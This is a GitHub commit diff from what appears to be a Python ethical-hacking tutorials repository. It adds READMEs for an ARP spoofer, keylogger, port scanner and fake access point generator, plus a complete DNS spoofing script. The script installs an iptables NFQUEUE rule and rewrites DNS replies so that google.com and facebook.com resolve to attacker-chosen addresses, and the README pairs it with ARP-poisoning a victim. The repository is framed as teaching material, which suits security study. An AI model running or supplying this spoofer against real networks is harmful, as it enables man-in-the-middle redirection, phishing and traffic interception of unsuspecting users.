Skip to content

Commit 18b6ac7

Browse files
committed
added READMEs and dns spoof
1 parent e189864 commit 18b6ac7

File tree

18 files changed

+225
-19
lines changed

18 files changed

+225
-19
lines changed

README.md

+18-2
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,18 @@
1-
# pythoncode-tutorials
2-
PythonCode Tutorials
1+
# Python Code Tutorials
2+
This is a repository of all the tutorials of [The Python Code](https://www.thepythoncode.com) website.
3+
## List of Content
4+
- ### [Ethical Hacking](https://www.thepythoncode.com/topic/ethical-hacking)
5+
- ### [Scapy](https://www.thepythoncode.com/topic/scapy)
6+
- [Building an ARP Spoofer](https://www.thepythoncode.com/article/building-arp-spoofer-using-scapy). ([code](scapy/arp-spoofer))
7+
- [Detecting ARP Spoof attacks](https://www.thepythoncode.com/article/detecting-arp-spoof-attacks-using-scapy). ([code](scapy/arp-spoof-detector))
8+
- DHCP Listener script. ([code](scapy/dhcp_listener))
9+
- [Fake Access Point Generator](https://www.thepythoncode.com/article/create-fake-access-points-scapy). ([code](scapy/fake-access-point))
10+
- [Simple Network Scanner](https://www.thepythoncode.com/article/building-network-scanner-using-scapy). ([code](scapy/network-scanner))
11+
- [Writing a DNS Spoofer](https://www.thepythoncode.com/article/make-dns-spoof-python). ([code](scapy/dns-spoof))
12+
- [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))
13+
- [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner))
14+
15+
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
16+
- [Building a Speech Emotion Recognizer using Scikit-learn](https://www.thepythoncode.com/article/building-a-speech-emotion-recognizer-using-sklearn). ([code](machine-learning/speech-emotion-recognition))
17+
- [Top 8 Python Libraries For Data Scientists and Machine Learning Engineers](https://www.thepythoncode.com/article/top-python-libraries-for-data-scientists).
18+

ethical-hacking/keylogger/README.md

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python)
2+
To run this:
3+
- `pip3 install -r requirements.txt`
4+
- Fresh Gmail Account, check this [tutorial](https://www.thepythoncode.com/article/write-a-keylogger-python) to set it up.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
keyboard
+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python)
2+
To run simple port scanner:
3+
```
4+
python simple_port_scanner.py
5+
```
6+
To run fast port scanner:
7+
-
8+
```
9+
python fast_port_scanner --help
10+
```
11+
**Output:**
12+
```
13+
usage: fast_port_scanner.py [-h] [--ports PORT_RANGE] host
14+
15+
Simple port scanner
16+
17+
positional arguments:
18+
host Host to scan.
19+
20+
optional arguments:
21+
-h, --help show this help message and exit
22+
--ports PORT_RANGE, -p PORT_RANGE
23+
Port range to scan, default is 1-65535 (all ports)
24+
```
25+
For example, if you want to scan the ports from 1 to 1024 of your router (**192.168.1.1**):
26+
```
27+
python3 fast_port_scanner.py 192.168.1.1 --ports 1-1024
28+
```

scapy/arp-spoof-detector/README.md

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# [Detecting ARP Spoof attacks](https://www.thepythoncode.com/article/detecting-arp-spoof-attacks-using-scapy)
2+
to run this:
3+
- `pip3 install -r requirements.txt`
4+
-
5+
```
6+
python3 detect_arpspoof.py wlan0
7+
```
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
scapy

scapy/arp-spoofer/README.md

+26
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
# [Building an ARP Spoofer](https://www.thepythoncode.com/article/building-arp-spoofer-using-scapy)
2+
to run this:
3+
- `pip3 install -r requirements.txt`
4+
-
5+
```
6+
python3 arp_spoof.py --help
7+
```
8+
**Output**:
9+
```
10+
usage: arp_spoof.py [-h] [-v] target host
11+
12+
ARP spoof script
13+
14+
positional arguments:
15+
target Victim IP Address to ARP poison
16+
host Host IP Address, the host you wish to intercept packets for
17+
(usually the gateway)
18+
19+
optional arguments:
20+
-h, --help show this help message and exit
21+
-v, --verbose verbosity, default is True (simple message each second)
22+
```
23+
For instance, if you want to spoof **192.168.1.2** and the gateway is **192.168.1.1**:
24+
```
25+
python3 arp_spoof 192.168.1.2 192.168.1.1 --verbose
26+
```
Binary file not shown.

scapy/arp-spoofer/requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
scapy

scapy/dhcp_listener/README.md

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# Listening for new Connected Devices in the Network using DHCP
2+
to run this:
3+
- `pip3 install -r requirements.txt`
4+
-
5+
```
6+
python3 dhcp_listener.py
7+
```

scapy/dhcp_listener/dhcp_listener.py

+1-17
Original file line numberDiff line numberDiff line change
@@ -1,35 +1,19 @@
11
from scapy.all import *
2-
from scapy.layers.dhcp import DHCP
32
import time
4-
#
5-
#
6-
#
7-
#
8-
#
9-
#
10-
#
11-
#
12-
#
13-
#
14-
#
15-
#
16-
#
17-
#
18-
#
193

204
hosts = []
215
Ether = 1
226

237

248
def listen_dhcp():
25-
global k
269
# Make sure it is DHCP with the filter options
2710
k = sniff(prn=print_packet, filter='udp and (port 67 or port 68)')
2811

2912
def print_packet(packet):
3013
target_mac, requested_ip, hostname, vendor_id = [None] * 4
3114
if packet.haslayer(Ether):
3215
target_mac = packet.getlayer(Ether).src
16+
# get the DHCP options
3317
dhcp_options = packet[DHCP].options
3418
for item in dhcp_options:
3519
try:

scapy/dhcp_listener/requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
scapy

scapy/dns-spoof/README.md

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
# [Writing a DNS Spoofer](https://www.thepythoncode.com/article/make-dns-spoof-python)
2+
To successfully run it, you need:
3+
- Linux machine ( or VM )
4+
- `pip3 install -r requirements.txt`
5+
- Run [ARP Spoof](../arp-spoofer/arp_spoof.py) script against the target.
6+
- Run this script:
7+
```
8+
python3 dns_spoof.py
9+
```

scapy/dns-spoof/dns_spoof.py

+82
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
from scapy.all import *
2+
from netfilterqueue import NetfilterQueue
3+
import os
4+
5+
6+
# DNS mapping records, feel free to add/modify this dictionary
7+
# for example, google.com will be redirected to 192.168.1.100
8+
dns_hosts = {
9+
b"www.google.com.": "192.168.1.100",
10+
b"google.com.": "192.168.1.100",
11+
b"facebook.com.": "172.217.19.142"
12+
}
13+
14+
15+
def process_packet(packet):
16+
"""
17+
Whenever a new packet is redirected to the netfilter queue,
18+
this callback is called.
19+
"""
20+
# convert netfilter queue packet to scapy packet
21+
scapy_packet = IP(packet.get_payload())
22+
if scapy_packet.haslayer(DNSRR):
23+
# if the packet is a DNS Resource Record (DNS reply)
24+
# modify the packet
25+
print("[Before]:", scapy_packet.summary())
26+
try:
27+
scapy_packet = modify_packet(scapy_packet)
28+
except IndexError:
29+
# not UDP packet, this can be IPerror/UDPerror packets
30+
pass
31+
print("[After ]:", scapy_packet.summary())
32+
# set back as netfilter queue packet
33+
packet.set_payload(bytes(scapy_packet))
34+
# accept the packet
35+
packet.accept()
36+
37+
38+
def modify_packet(packet):
39+
"""
40+
Modifies the DNS Resource Record `packet` ( the answer part)
41+
to map our globally defined `dns_hosts` dictionary.
42+
For instance, whenver we see a google.com answer, this function replaces
43+
the real IP address (172.217.19.142) with fake IP address (192.168.1.100)
44+
"""
45+
# get the DNS question name, the domain name
46+
qname = packet[DNSQR].qname
47+
if qname not in dns_hosts:
48+
# if the website isn't in our record
49+
# we don't wanna modify that
50+
print("no modification:", qname)
51+
return packet
52+
# craft new answer, overriding the original
53+
# setting the rdata for the IP we want to redirect (spoofed)
54+
# for instance, google.com will be mapped to "192.168.1.100"
55+
packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname])
56+
# set the answer count to 1
57+
packet[DNS].ancount = 1
58+
# delete checksums and length of packet, because we have modified the packet
59+
# new calculations are required ( scapy will do automatically )
60+
del packet[IP].len
61+
del packet[IP].chksum
62+
del packet[UDP].len
63+
del packet[UDP].chksum
64+
# return the modified packet
65+
return packet
66+
67+
68+
if __name__ == "__main__":
69+
QUEUE_NUM = 0
70+
# insert the iptables FORWARD rule
71+
os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM))
72+
# instantiate the netfilter queue
73+
queue = NetfilterQueue()
74+
try:
75+
# bind the queue number to our callback `process_packet`
76+
# and start it
77+
queue.bind(QUEUE_NUM, process_packet)
78+
queue.run()
79+
except KeyboardInterrupt:
80+
# if want to exit, make sure we
81+
# remove that rule we just inserted, going back to normal.
82+
os.system("iptables --flush")

scapy/dns-spoof/requirements.txt

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
netfilterqueue
2+
scapy

scapy/fake-access-point/README.md

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# [Fake Access Point Generator](https://www.thepythoncode.com/article/create-fake-access-points-scapy)
2+
to run this:
3+
- Linux Machine.
4+
- USB WLAN Stick.
5+
- aircrack-ng.
6+
- Turn the network interface to Monitor mode using the command:
7+
```
8+
airmon-ng start wlan0
9+
```
10+
- `pip3 install -r requirements.txt`.
11+
-
12+
```
13+
python3 fake_access_point.py --help
14+
```
15+
**Output**:
16+
```
17+
usage: fake_access_point.py [-h] [-n N_AP] interface
18+
19+
Fake Access Point Generator
20+
21+
positional arguments:
22+
interface The interface to send beacon frames with, must be in
23+
monitor mode
24+
25+
optional arguments:
26+
-h, --help show this help message and exit
27+
-n N_AP, --access-points N_AP
28+
Number of access points to be generated
29+
```

scapy/network-scanner/README.md

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# [Simple Network Scanner](https://www.thepythoncode.com/article/building-network-scanner-using-scapy)
2+
to run this:
3+
- `pip3 install -r requirements.txt`
4+
-
5+
```
6+
python3 network_scanner.py
7+
```
+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
scapy

0 commit comments

Comments
 (0)